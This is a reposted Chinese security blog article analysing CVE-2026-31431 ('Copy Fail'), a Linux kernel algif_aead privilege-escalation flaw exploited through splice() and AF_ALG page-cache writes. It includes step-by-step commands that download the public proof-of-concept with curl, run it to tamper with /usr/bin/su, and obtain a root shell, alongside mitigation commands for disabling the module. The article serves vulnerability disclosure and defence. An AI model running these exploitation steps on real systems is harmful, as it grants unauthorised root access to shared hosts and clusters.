文章总结: CVE-2026-31431是Linux内核crypto/algifaead模块中自2017年存在的逻辑漏洞,允许本地用户通过732字节Python脚本直接获取Root权限。漏洞利用splice()系统调用与AFALG套接字链式操作实现页面缓存篡改,影响2017-2026年4月间几乎所有默认启用该模块的发行版。建议立即更新内核或临时禁用algif_aead模块缓解风险。 综合评分: 85 文章分类: 漏洞分析,渗透测试,应急响应,Linux内核安全,漏洞预警
Linux内核的“九年代价”:CVE-2026-31431漏洞深度解析与利用
柠檬赏金猎人
2026年4月30日 10:55 广东
在小说阅读器读本章
去阅读
一个名为“Copy Fail”的通用Linux本地提权漏洞(CVE-2026-31431)近日被公开。该漏洞存在于Linux内核的crypto/algif_aead模块中,是一个自2017年以来就存在的直通型逻辑缺陷。
与大多数需要特定竞态条件或内核配置的本地提权漏洞不同,Copy Fail无需任何特殊条件。攻击者只需一个常规的本地用户账户,运行一个仅732字节的Python脚本,即可在几乎所有2017年后发布的Linux发行版上获得Root权限。该漏洞的发现者(Xint Code)在首个演示视频中,使用同一个未修改的二进制文件,在四个不同的发行版上成功获取了Root shell。
技术/功能
Copy Fail漏洞的核心在于内核加密API(AF_ALG)接口中algif_aead模块的一个逻辑缺陷。该缺陷通过将内核splice()系统调用与AF_ALG套接字链式结合,实现了一种非预期的页面缓存(Page-Cache)写入。
- 影响范围:所有内核版本介于2017年至2026年4月补丁(主线commit
a664bf3d603d)之间的Linux发行版。由于AF_ALG在绝大多数发行版的默认配置中都是启用的,因此该漏洞影响范围极广。 - 攻击原理:
- 直通逻辑错误:2017年引入的
algif_aead优化,本意是减少数据在内核空间与用户空间之间的拷贝,但其实现方式存在错误,使得来自页面缓存的数据页可以被直接用于可写操作。 - 链式利用:攻击者通过
AF_ALG套接字创建一个特定的加密算法上下文,然后使用splice()系统调用将目标文件(如一个setuid-root二进制文件/usr/bin/su)的页面缓存数据直接“拼接”到这个上下文作为输出缓冲区。 - 任意写入:巧妙构造算法和数据,触发该逻辑错误,使得内核将加密结果直接写入到原始文件的页面缓存页中。由于目标是页面缓存而非直接写入磁盘,因此攻击行为在系统重启前是非持久化的,但攻击者可以立即执行被修改的setuid程序或利用其他手段获得Root权限。
使用示例
以下是在受影响系统上使用官方PoC(概念验证)脚本的基本步骤。
# 1. 下载PoC脚本
curl -O https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
# 2. (可选) 检查脚本完整性
sha256sum copy_fail_exp.py
# 期望输出: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# 3. 运行PoC脚本(会修改 /usr/bin/su 的页面缓存)
python3 copy_fail_exp.py
# 4. 执行被修改的su命令获取Root权限
su
# 输入任意密码或直接回车
# id
uid=0(root) gid=0(root) groups=0(root)
详细解释:
- PoC脚本:脚本的目标是
/usr/bin/su。运行后,它会修改该二进制文件在内存(页面缓存)中的代码,使其在验证密码时总是返回成功。 - 获取Root:随后执行
su命令,由于/usr/bin/su是setuid-root程序,内核会以Root权限执行其代码。此时,由于页面缓存已被篡改,su命令会绕过密码验证,直接赋予攻击者一个Root shell。 - 非持久化:这些修改仅存在于页面缓存中。如果系统重启或该文件再次被读取导致页面缓存刷新,漏洞效果将消失,
/usr/bin/su恢复原样。
注意事项
-
攻击前提:攻击者必须拥有一个本地用户账户(可能是通过其他漏洞、弱密码或社会工程学获取)。
-
影响风险等级:
-
高风险:多租户Linux主机(如共享开发服务器、Shell-as-a-Service平台)、Kubernetes/容器集群(Pod可获得宿主节点权限)、CI/CD运行器(公网PR可获取运行器Root权限)。
-
中风险:云SaaS服务(如Notebook主机、无服务器函数运行环境,租户代码可逃逸)。
-
低风险:单用户个人电脑(本地提权后与其他漏洞链用)。
-
紧急缓解措施(在打补丁之前):
-
推荐:立即更新内核至包含补丁的版本。
-
临时方案:禁用有缺陷的内核模块
algif_aead。# 禁止模块加载 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # 卸载已加载的模块 rmmod algif_aead 2>/dev/null || true -
影响说明:禁用
algif_aead对绝大多数系统无影响。主要影响那些明确配置为使用AF_ALG接口进行加解密的用户空间软件(如开启了afalg引擎的OpenSSL等)。加密存储(dm-crypt)、网络加密(kTLS、IPsec)等核心功能均不受影响。 -
语法检查:确保在运行
rmmod命令前拥有Root权限。
参考链接
- Xint Code官方分析报告(包含漏洞根本原因、利用链图解)
- 官方漏洞PoC脚本仓库(GitHub)
- Linux内核主线补丁commit
- 漏洞披露网站(copy.fail)
- Xint Code官方主页
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:柠檬赏金猎人 《Linux内核的“九年代价”:CVE-2026-31431漏洞深度解析与利用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论